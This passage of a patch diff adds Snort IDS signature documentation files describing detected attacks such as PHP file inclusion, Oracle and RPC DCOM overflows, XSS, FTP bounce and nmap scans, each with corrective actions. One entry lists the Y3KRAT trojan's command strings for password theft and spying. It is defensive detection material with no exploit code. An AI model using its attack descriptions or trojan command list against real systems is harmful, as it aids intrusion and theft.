+Impact:
+Possible arbitrary code execution.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to access the cafelog PHP application.
+
+It is possible for an attacker to include a PHP file of his choosing via a URL, the script is processed and executed with the privileges of the user running the webserver. This is due to poor checking of user supplied variables in the gm-2-b2.php script.
+
+--
+Affected Systems:
+Any host using cafelog.
+
+--
+Attack Scenarios:
+An attacker could include a PHP file of his choice by including the file name in a URI supplied to the webserver that would in turn process the script via gm-2-b2.php.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None Known.
+
+--
+False Negatives:
+None Known.
+
+--
+Corrective Action:
+Check the php implementation on the host.
+
+Check the webserver log files for signs of this activity.
+
+Where possible, ensure the webserver is run as an unprivileged process.
+
+Check the host for signs of compromise.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1621.txt
+++ snort-2.8.5.2/doc/signatures/1621.txt
@@ -0,0 +1,54 @@
+Rule:
+
+--
+Sid: 
+1621
+
+--
+Summary:
+This event is generated when activity relating to spurious ftp traffic is detected on the network.
+
+--
+Impact:
+Varies from information gathering to a serious compromise of an ftp server.
+
+--
+Detailed Information:
+FTP is used to transfer files between hosts. This event is indicative of spurious activity in FTP traffic between hosts.
+
+The event may be the result of a transfer of a known protected file or it could be an attempt to compromise the FTP server by overflowing a buffer in the FTP daemon or service.
+
+--
+Attack Scenarios:
+A user may transfer sensitive company information to an external party using FTP.
+
+An attacker might utilize a vulnerability in an FTP daemon to gain access to a host, then upload a Trojan Horse program to gain control of that host.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+--
+Corrective Action:
+Disallow access to FTP resources from hosts external to the protected network.
+
+Use secure shell (ssh) to transfer files as a replacement for FTP.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <brian.caswell@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2831.txt
+++ snort-2.8.5.2/doc/signatures/2831.txt
@@ -0,0 +1,69 @@
+Rule: 
+
+--
+Sid: 
+2831
+
+-- 
+Summary: 
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database server.
+
+-- 
+Impact: 
+Serious. Possible execution of arbitrary code and Denial of Service.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database implementation. Multiple buffer
+overflow conditions are present in numerous packages and procedures.
+
+Exploitation of these vulnerable procedures may allow an attacker to
+execute code of their choosing as the user running the database. In the
+case of databases running on Microsoft Windows platforms, this is the
+Local System account which may mean a compromise of the operating system
+as well as the database.
+
+This event indicates that an attempt has been made to exploit a
+vulnerability in the procedure create_master_repobject
+. This procedure is included in
+sys.dbms_repcat_mas.
+
+--
+Affected Systems:
+	Oracle Oracle9i
+
+--
+Attack Scenarios: 
+If an attacker can supply enough data to the procedure in question, it
+may be possible to cause the overflow condition to occur and present the
+attacker with the opportunity to execute code of their choosing.
+
+-- 
+Ease of Attack: 
+Simple.
+
+-- 
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+-- 
+Corrective Action: 
+Apply the appropriate vendor supplied patch
+
+--
+Contributors: 
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Alex Kirk <alex.kirk@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1825.txt
+++ snort-2.8.5.2/doc/signatures/1825.txt
@@ -0,0 +1,69 @@
+Rule:
+
+--
+Sid:
+1825
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability in a CGI web application running on a server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server or application. Possible execution
+of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to gain unauthorized
+access to a CGI application running ona web server. Some applications do
+not perform stringent checks when validating the credentials of a client
+host connecting to the services offered on a host server. This can lead
+to unauthorized access and possibly escalated privileges to that of the
+administrator. Data stored on the machine can be compromised and trust
+relationships between the victim server and other hosts can be exploited by the attacker.
+
+If stringent input checks are not performed by the CGI application, it
+may also be possible for an attacker to execute system binaries or
+malicious code of the attackers choosing.
+
+--
+Affected Systems:
+	All systems running CGI applications
+
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her
+own credentials to gain access. Alternatively the attacker can exploit
+weaknesses to gain access as the administrator by supplying input of
+their choosing to the underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1250.txt
+++ snort-2.8.5.2/doc/signatures/1250.txt
@@ -0,0 +1,59 @@
+Rule:
+--
+Sid:
+1250
+
+--
+Summary:
+Attack on Cisco router/switch web interface
+
+--
+Impact:
+Unauthorized administrative access to Cisco devices running vulnerable versions of IOS (router/switch operating system)
+
+--
+Detailed Information:
+Cisco routers and switches running vulnerable IOS versions can be attacked simply by typing in a URL, giving the attacker administrative access to the device.  The device must be running the web configuration interface, a web server that enables a user to configure the device via a web browser.
+
+--
+Affected Systems:
+Cisco routers and switches running affected versions of IOS and whose web management interface is enabled. See http://www.securityfocus.com/bid/2936 
+
+--
+Attack Scenarios:
+Attacker identifies http server running on Cisco switch or router.  Attacker then makes an http connection with the particular URL required to gain administrative control.
+
+--
+Ease of Attack:
+Simple. Web request, no exploit software needed.
+
+--
+False Positives:
+Legitimate access to the configuration manager will generate an event.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Upgrade IOS to the latest non-affected version.
+
+Apply the appropriate vendor supplied Patches
+
+Disable the web configuration interface.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+Snort documentation contributed by James Affeld <jamesaffeld@yahoo.com>
+
+-- 
+Additional References:
+
+Bugtraq:
+http://www.securityfocus.com/bid/2936
+
+--
--- snort-2.8.5.2.orig/doc/signatures/3265.txt
+++ snort-2.8.5.2/doc/signatures/3265.txt
@@ -0,0 +1,70 @@
+Rule:
+
+--
+Sid:
+3265
+
+--
+Summary:
+This rule generates an event when an attempt is made to exploit a known 
+vulnerability in Microsoft RPC DCOM.
+
+--
+Impact:
+Execution of arbitrary code leading to full administrator access of the 
+machine. Denial of Service (DoS).
+
+--
+Detailed Information:
+A vulnerability exists in Microsoft RPC DCOM such that execution of 
+arbitrary code or a Denial of Service condition can be issued against a 
+host by sending malformed data via RPC.
+
+The Distributed Component Object Model (DCOM) handles DCOM requests sent
+by clients to a server using RPC. A malformed request to an RPC port 
+will result in a buffer overflow condition that will present the 
+attacker with the opportunity to execute arbitrary code with the 
+privileges of the local system account.
+
+--
+Affected Systems:
+	Windows NT 4.0
+	Windows NT 4.0 Terminal Server Edition
+	Windows 2000
+	Windows XP
+	Windows Server 2003
+
+--
+Attack Scenarios:
+An attacker may make a request for a file with an overly long filename 
+via a network share.
+
+--
+Ease of Attack:
+Simple. Expoit code exists.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches.
+
+Block access to RPC ports 135, 139 and 445 for both TCP and UDP 
+protocols from external sources using a packet filtering firewall.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/3441.txt
+++ snort-2.8.5.2/doc/signatures/3441.txt
@@ -0,0 +1,65 @@
+Rule:
+
+--
+Sid:
+3441
+
+--
+Summary:
+This event is generated when an attempt is made to use the PORT command
+in an FTP session.
+
+--
+Impact:
+Serious. Unauthorized access to the target host. Information disclosure.
+
+--
+Detailed Information:
+The PORT command can be used in an FTP PORT bounce attack to establish
+a connection between the FTP server and another machine listening on 
+an alternative port.
+
+This may lead to unauthorized access to a target host listening on a 
+port not available from outside the protected network.
+
+--
+Affected Systems:
+	Systems using FTP
+
+--
+Attack Scenarios:
+An attacker can issue a PORT command from an FTP session to connect to 
+another machine listening on an alternate port. For example, from an 
+FTP session an attacker could connect to an internal host listening on 
+an alternate web port meant only for internal sessions.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+CERT:
+http://www.cert.org/tech_tips/ftp_port_attacks.html
+
+--
--- snort-2.8.5.2.orig/doc/signatures/3083.txt
+++ snort-2.8.5.2/doc/signatures/3083.txt
@@ -0,0 +1,141 @@
+Rule: 
+
+--
+Sid: 
+3083
+-- 
+Summary: 
+This event is generated when a Y3KRAT 1.5 server attempts to confirm the client's response.
+
+-- 
+Impact: 
+If connected, the attacker could execute a multitude of functions resulting in a complete compromise of the victim's machine.
+
+--
+Detailed Information:
+Y3KRAT 1.5 uses port 5880 by default. This port can be changed by the attacker. 
+
+The following is a list of the commands for many of Y3KRAT 1.5's functions (Command Name: Command String):
+
+AIM Passwords: aolpwd
+AIM Spy: aolspy
+Change Internet Explorer Caption: changeiecaptest
+Chat With Server: chatsrvY3K Rat user
+Clipboard: pastefromclip
+Change Desktop Color Scheme: clsys
+Change Recycle Bin Name: nrbin
+Change System Name: sysname
+Change Time: time
+Video List: getvideolist
+Dialup: autoconnect
+Access Directories: getclientgetpaths
+Get Directory Paths: getpaths
+Disable Mouse Buttons: dbuttons
+Disable Num Lock: dnumlock
+Disable System Keys: dsyskeys
+Disable All Keys: dkeys{all}
+DOS Commands: doscommands
+Fast Mouse: fastmouseon
+Find File: findfile
+Flip Screen: flip1hor
+FTP: openftp21
+Go To URL: gotourl
+Hide Taskbar: hidetask
+Hide Clock: hideclock
+Hide Desktop Icons: hidedeskicons
+Hide Start Button: hidestart
+Hide System Tray: hidesystray
+ICQ Information: getclienticqinfo
+ICQ Passwords: geticqpass
+ICQ Spy: icqspy
+Internet Explorer Spy: iespy
+General Information: general
+Lights On: lightson
+Lights Off: lightsoff
+Live Shot: cap
+Logged Passwords: getpasses
+Logoff: boot41
+Make File: makefile
+Matrix Chat: matrix
+Modify File (Read System File): readsysfiles
+Modify File (Write System File): writesysfiles
+Monitor Off: enablestandby
+Mouse Settings (Set Position): setpos
+Mouse Settings (Freeze Mouse Position): freezepos
+Mouse Settings (Speed Up Cursor): speedcursor
+MSN Spy: msnspy
+Napster Spy: napsterspy
+Net Get: netget
+NetStat (Read): netstatread
+NetStat (Kill): netstatkill
+CD-ROM open: cdopen
+CD-ROM close: cdclose
+Open File: getfiles
+Overclock: upmhz
+Play Sound: snd (*followed by the sound, for example, err for the error sound*)
+Power Off: boot31
+Print: print
+Ras Passwords: getras
+Remove Server: killserver
+Change Resolution: setdevmode
+Restart: boot21
+Safe Mode: safemode
+Screenshot: cap
+Send Keys: sendtextf
+Send Message: messText
+Show Windows With Text: showwin
+Shutdown: boot11
+Swap Mouse Buttons: swapbuttons
+Write System Error: writesystem
+Yahoo Spy: yahoospy
+
+
+--
+Affected Systems:
+	Windows 95, 98, ME, NT, 2000
+
+--
+Attack Scenarios: 
+The victim must first install the server. Be wary of suspicious files because they often can be backdoors in disguise.
+Once the victim mistakenly installs the server program, the attacker usually will employ an IP scanner program
+to find the IP addresses of victims that have installed the program. Then the attacker enters the IP address and 
+presses the connect button and he has access to your computer.
+
+-- 
+
+Ease of Attack: 
+Simple
+
+-- 
+False Positives:
+None known
+
+--
+False Negatives:
+None known
+
+-- 
+Corrective Action: 
+Remove the Dcomcnofg key located at the following places in the registry:
+HKEY_LOCAL_MACHINES\Software\Microsoft\Windows\CurrentVersion\Run 
+HKEY_LOCAL_MACHINES\Software\Microsoft\Windows\CurrentVersion\RunServices
+HKEY_USERS\Default\Software\Microsoft\Windows\CurrentVersion\Run
+
+Reboot the computer or close Dcomcnofg.exe.
+
+Delete Dcomcnofg.exe from the windows system directory.
+
+If found, delete server.exe and kill the process called server.exe.
+
+--
+Contributors:
+Sourcefire Research Team
+Ricky Macatee <rmacatee@sourcefire.com> 
+
+-- 
+Additional References:
+
+Dark-E:
+http://www.dark-e.com/archive/trojans/y3krat/15/index.shtml
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1206.txt
+++ snort-2.8.5.2/doc/signatures/1206.txt
@@ -0,0 +1,69 @@
+Rule:
+
+--
+Sid:
+1206
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability in a CGI web application running on a server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server or application. Possible execution
+of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to gain unauthorized
+access to a CGI application running ona web server. Some applications do
+not perform stringent checks when validating the credentials of a client
+host connecting to the services offered on a host server. This can lead
+to unauthorized access and possibly escalated privileges to that of the
+administrator. Data stored on the machine can be compromised and trust
+relationships between the victim server and other hosts can be exploited by the attacker.
+
+If stringent input checks are not performed by the CGI application, it
+may also be possible for an attacker to execute system binaries or
+malicious code of the attackers choosing.
+
+--
+Affected Systems:
+	All systems running CGI applications
+
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her
+own credentials to gain access. Alternatively the attacker can exploit
+weaknesses to gain access as the administrator by supplying input of
+their choosing to the underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/323.txt
+++ snort-2.8.5.2/doc/signatures/323.txt
@@ -0,0 +1,59 @@
+Rule:   
+
+--
+Sid: 323
+
+-- 
+
+Summary: 
+This is an intelligence gathering activity.
+
+-- 
+
+Impact: 
+The attacker may obtain detailed information about the administrative super user account.
+
+--
+Detailed Information:
+This event is generated when an attempt to access information about the administrative account "root" on a UNIX system is made via the finger service. 
+
+The information that can be collected includes time and source address of the last login and/or current login sessions, type of shell, path to home directory, mail forwarding address (often reflecting the name of the person administrering the system) and the time when "root" email was last read. This information can be used in planning further attacks against the host.
+
+--
+
+Attack Scenarios: 
+The attacker learns that "root" has not logged in for a long time. He hypothesizes that the system is not often used and thus not likely to be patched or secured and may therefore, be vulnerable to a number of other attacks.
+
+-- 
+
+Ease of Attack: 
+Simple, no exploit software required
+
+-- 
+
+False Positives: 
+None Known
+
+--
+False Negatives: 
+None Known
+
+-- 
+
+Corrective Action: 
+Disable the finger daemon or limit the addresses that can access the service via firewall or TCP wrappers.
+
+--
+Contributors: 
+Original rule written by Max Vision <vision@whitehats.com>
+Snort documentation contributed by Anton Chuvakin <http://www.chuvakin.org>
+Sourcefire Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+Arachnids:
+http://www.whitehats.com/info/IDS376
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2278.txt
+++ snort-2.8.5.2/doc/signatures/2278.txt
@@ -0,0 +1,56 @@
+Rule:
+
+--
+Sid:
+2278
+
+--
+Summary:
+This event is generated when an attempt is made to exploit
+a Denial of Service (DoS) condition in the Monit web server.
+
+--
+Impact:
+Denial of Service.
+
+--
+Detailed Information:
+The Monit web server does not perform stringent checks on HTTP
+parameters prior to processing. This may allow a remote attacker to
+issue a DoS condition against a server running Monit.
+
+--
+Affected Systems:
+	Monit 4.1 and prior
+
+--
+Attack Scenarios:
+By supplying certain HTTP parameters to the Monit server a DoS condition
+may be executed.
+
+--
+Ease of Attack:
+Simple. Exploit code exists but is not currently in the public domain.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Upgrade to the latest non-affected version of the software.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1952.txt
+++ snort-2.8.5.2/doc/signatures/1952.txt
@@ -0,0 +1,58 @@
+Rule:
+
+--
+Sid:
+1952
+
+--
+Summary:
+This event is generated when an attempt is made to mount a specific file system exported through Network File System (NFS). 
+
+--
+Impact:
+Remote access.  This mount request can give an attacker remote access to an NFS directory if it is successful. 
+
+--
+Detailed Information:
+The mountd Remote Procedure Call (RPC) implements the NFS mount protocol.  When an NFS client requests a mount of an NFS file system, mountd examines the list of exported file systems.  If the NFS client is permitted access to the requested file system, mountd returns a file handle for the requested directory.  An attacker or legitimate NFS client may request a mount of a specific file system.
+
+--
+Affected Systems:
+All systems running NFS.
+
+--
+Attack Scenarios:
+An attacker may attempt to mount an NFS directory to read or change files.
+
+--
+Ease of Attack:
+Simple.   
+
+--
+False Positives:
+If a legitimate remote user is allowed to mount NFS file systems, this rule may trigger.
+
+--
+False Negatives:
+None Known.
+
+--
+Corrective Action:
+Limit remote access to RPC services.
+
+Filter RPC ports at the firewall to ensure access is denied to RPC-enabled machines. 
+
+Disable unneeded RPC services.
+
+--
+Contributors:
+Original rule written by Max Vision <vision@whitehats.com>
+Modified by Brian Caswell <bmc@sourcefire.com>
+Sourcefire Research Team
+Judy Novak <judy.novak@sourcefire.com>
+
+--
+Additional References:
+
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2326.txt
+++ snort-2.8.5.2/doc/signatures/2326.txt
@@ -0,0 +1,74 @@
+Rule:
+
+--
+Sid:
+2326
+
+--
+Summary:
+This event is generated when a cross-site scripting attack is being 
+attempted against the SGDynamo web application.
+
+--
+Impact:
+Successful cross-site scripting attacks generally target the users of 
+a web site. Attackers can potentially gain access to a users' cookies 
+or session identification credentials, allowing the attacker to
+impersonate the user.
+
+--
+Detailed Information:
+The SGDynamo web application does not correctly filter script code in
+URL supplied parameters. It is possible for an attacker to place code of
+their choosing in a link supplied to the application. The code is then
+executed in the browser of a user who clicks on the link.
+
+The error occurs in checking the parameters supplied via the HTNAME
+parameter in the application.
+
+--
+Affected Systems:
+Many older versions of web server software are affected, as are numerous
+web applications.
+
+--
+Attack Scenarios:
+The most common avenue of attack is for the attacker to send an HTML 
+formatted email to the victim. The email will contain a link to a 
+specially crafted URL which contains the exploit. When the victim clicks
+on the link, they are directed to the vulnerable web site and the attack
+code is executed by their browser.
+
+--
+Affected Systems:
+	Ecometry SGDynamo 5.32 U
+	Ecometry SGDynamo 5.32 T
+	Ecometry SGDynamo 6.1
+	Ecometry SGDynamo 7.0
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None known
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Upgrade to the latest non-affected version of the software
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/433.txt
+++ snort-2.8.5.2/doc/signatures/433.txt
@@ -0,0 +1,61 @@
+Rule:
+
+--
+
+Sid:
+433
+
+--
+
+Summary:
+This event is generated when a host generates and ICMP Type 40 datagram with an undefined ICMP Code.
+
+--
+
+Impact:
+ICMP Type 40 datagrams are an indication that a received datagram failed a integrity check for a given SPI.  Normally this is an indication that hosts using IP Security Protocols such as AH or ESP have been configured incorrectly or are failing to establish a session with another host.
+
+--
+
+Detailed Information:
+Hosts using IP Security Protocols such as AH or ESP generate ICMP Type 40 datagrams when a failure condition occurs.  ICMP Type 40 datagrams are generated when a received datagram fails an integrity check for a given SPI (Security Parameters Index).  ICMP Type 40 datagrams should never be generated with an undefined ICMP Code, this could be an indication of nefarious network activity. 
+
+--
+
+Attack Scenarios:
+None known
+
+--
+
+Ease of Attack:
+Numerous tools and scripts can generate this type of ICMP datagram.
+
+--
+
+False Positives:
+None known
+
+--
+
+False Negatives:
+None known
+
+--
+
+Corrective Action:
+ICMP Type 40 datagrams not normally seen on the network.  Currently Sourcefire is unaware of any hardware that has implemented these types of ICMP datagrams.  Hosts generating these types of ICMP datagrams should be investigated for nefarious activity or configuration errors. 
+
+--
+
+Contributors:
+Original Rule writer unknown
+Sourcefire Research Team
+Matthew Watchinski (matt.watchinski@sourcefire.com)
+
+--
+
+Additional References:
+RFC2521
+
+
+--
--- snort-2.8.5.2.orig/doc/signatures/469.txt
+++ snort-2.8.5.2/doc/signatures/469.txt
@@ -0,0 +1,84 @@
+--
+Rule:
+
+--
+Sid:
+469
+
+--
+Summary:
+This event is generated when an ICMP ping typically generated by nmap is detected.
+
+--
+Impact:
+This could indicate a full scan by nmap which is sometimes indicative of
+potentially malicious behavior.
+
+--
+Detailed Information:
+Nmap's ICMP ping, by default, sends zero data as part of the ping.
+Nmap typically pings the host via icmp if the user has root
+privileges, and uses a tcp-ping otherwise.  
+
+--
+Attack Scenarios:
+As part of an information gathering attempt, an attacker may use nmap
+to see what hosts are alive on a given network.  If nmap is used for
+portscanning as root, the icmp ping will occur by default unless the
+user specifies otherwise (via '-P0').
+
+--
+Ease of Attack:
+Trivial.  Nmap requires little or no skill to operate.
+
+--
+False Positives:
+Possible.  The only current identifying feature of nmap's ICMP ping is
+that the data size is 0.  It is entirely possible that other tools may
+send icmp pings with zero data.
+
+Kontiki delivery manager used on windows platforms to download
+multimedia files is known to produce ICMP pings that can cause this
+rule to generate many events.
+
+avast! antivirus update feature is reported to produce ICMP pings with
+zero data when connecting to the avast servers. This can occur every 40
+seconds if no reply is received by the client.
+
+The avast! client attempts to ping one of the following servers:
+
+URL: http://www.asw.cz/iavs4pro
+IP: 195.70.130.34
+
+URL: http://www.avast.com/iavs4pro
+IP: 66.98.166.72
+
+URL: http://www.iavs.net/iavs4pro
+IP: 207.44.156.15
+
+URL: http://www.iavs.cz/iavs4pro
+IP: 62.168.45.69
+
+--
+False Negatives:
+None currently.
+
+--
+Corrective Action:
+If you detect other suspicous traffic from this host (i.e., a
+portscan), follow standard procedure to assess what threat this may
+pose.  If you only detect the icmp ping, this may have simply been a
+'ping sweep' and may be ignored.
+
+--
+Contributors:
+warchild@spoofed.org
+Sourcefire Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+www.insecure.org
+
+
+--
--- snort-2.8.5.2.orig/doc/signatures/111-10.txt
+++ snort-2.8.5.2/doc/signatures/111-10.txt
@@ -0,0 +1,60 @@
+Rule: 
+
+--
+Sid: 
+111-10
+
+-- 
+Summary: 
+This event is generated when the pre-processor stream4
+detects network traffic that may constitute an attack.
+
+-- 
+Impact: 
+This may indicate scanning activity.
+
+--
+Detailed Information:
+The pre-processor stream4 has detected network traffic that may indicate
+an Xmas Tree scan is in progress. That is, packets with the FIN, URG and
+PUSH flags set have been detected.
+
+In this case, indications are that the tool Nmap is in use.
+
+--
+Affected Systems:
+	All systems
+
+--
+Attack Scenarios: 
+An attacker may utilize scanning techniques to determine possible points
+of exploitation against a host.
+
+-- 
+Ease of Attack: 
+Simple. Many scanning tools exist.
+
+-- 
+False Positives:
+None Known.
+
+--
+False Negatives:
+None Known.
+
+-- 
+Corrective Action:
+Check the target host for signs of compromise.
+
+Ensure the system is up to date with any appropriate vendor supplied patches.
+
+--
+Contributors:
+Martin Roesch <roesch@sourcefire.com>
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2965.txt
+++ snort-2.8.5.2/doc/signatures/2965.txt
@@ -0,0 +1,68 @@
+Rule:
+
+--
+Sid:
+2965
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known
+vulnerability in Microsoft Network Dynamic Data Exchange (NetDDE)
+services.
+
+--
+Impact:
+Serious. Execution of arbitrary code with system level privileges
+
+--
+Detailed Information:
+A vulnerability exists in Microsoft NetDDE that may allow an attacker to
+run code of their choosing with system level privileges. A programming
+error in the handling of network messages may give an attacker the
+opportunity to overflow a fixed length buffer by using a specially
+crafted NetDDE message.
+
+This service is not started by default on Microsoft Windows systems, but
+this issue can also be exploited locally in an attempt to escalate
+privileges after a successful attack from an alternate vector.
+
+--
+Affected Systems:
+	Microsoft Windows NT, 2000, 2003, XP, 98 and ME systems.
+
+--
+Attack Scenarios:
+An attacker needs to craft a special NetDDE message in order to overflow
+the affected buffer.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches
+
+Disable the NetDDE service.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+Microsoft Security Bulletin MS04-031:
+http://www.microsoft.com/technet/security/bulletin/ms04-031.mspx
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2191.txt
+++ snort-2.8.5.2/doc/signatures/2191.txt
@@ -0,0 +1,75 @@
+Rule:
+
+--
+Sid:
+2191
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability in Microsoft RPC DCOM.
+
+--
+Impact:
+Denial of Service (DoS).
+
+--
+Detailed Information:
+A vulnerability exists in Microsoft RPC DCOM such that execution of 
+arbitrary code or a Denial of Service condition can be issued against a 
+host by sending malformed data via RPC.
+
+The Distributed Component Object Model (DCOM) handles DCOM requests sent
+by clients to a server using RPC. A malformed request to an RPC port 
+will result in a buffer overflow condition that will present the 
+attacker with the opportunity to execute arbitrary code with the 
+privileges of the local system account.
+
+--
+Affected Systems:
+	Windows NT 4.0
+	Windows NT 4.0 Terminal Server Edition
+	Windows 2000
+	Windows XP
+	Windows Server 2003
+
+--
+Attack Scenarios:
+An attacker may make a request for a file with an overly long filename 
+via a network share.
+
+--
+Ease of Attack:
+Simple. Expoit code exists.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches.
+
+Block access to RPC ports 135, 139 and 445 for both TCP and UDP 
+protocols from external sources using a packet filtering firewall.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+Microsoft:
+http://www.microsoft.com/technet/security/bulletin/MS03-026.asp
+
+CVE:
+http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2003-0352
+
+--
--- snort-2.8.5.2.orig/doc/signatures/100000540.txt
+++ snort-2.8.5.2/doc/signatures/100000540.txt
@@ -0,0 +1,64 @@
+Rule:
+
+--
+Sid:
+100000540
+--
+Summary:
+This event is generated when an attempt is made to exploit a cross site 
+scripting vulnerability in the "Enterprise Groupware" application running on a 
+webserver.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized 
+administrative access to the server or application. Possible execution of 
+arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to exploit a cross site 
+scripting vulnerability via the "module" parameter in the "index.php" script 
+used by the "Enterprise Groupware" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also 
+be possible for an attacker to retrieve sensitive data, execute system binaries 
+or malicious code of the attackers choosing.
+
+--
+Affected Systems:
+All systems running CGI applications using Enterprise Groupware
+--
+Attack Scenarios:
+An attacker can supply a malicious link designed to steal information from a 
+user clicking on that link.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had 
+all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+--
+Additional References:
+
+The Cross Site Scripting (XSS) FAQ
+http://www.cgisecurity.com/articles/xss-faq.shtml
+
+--
+
--- snort-2.8.5.2.orig/doc/signatures/1572.txt
+++ snort-2.8.5.2/doc/signatures/1572.txt
@@ -0,0 +1,69 @@
+Rule:
+
+--
+Sid:
+1572
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability in a CGI web application running on a server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server or application. Possible execution
+of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to gain unauthorized
+access to a CGI application running ona web server. Some applications do
+not perform stringent checks when validating the credentials of a client
+host connecting to the services offered on a host server. This can lead
+to unauthorized access and possibly escalated privileges to that of the
+administrator. Data stored on the machine can be compromised and trust
+relationships between the victim server and other hosts can be exploited by the attacker.
+
+If stringent input checks are not performed by the CGI application, it
+may also be possible for an attacker to execute system binaries or
+malicious code of the attackers choosing.
+
+--
+Affected Systems:
+	All systems running CGI applications
+
+--
+Attack Scenarios:
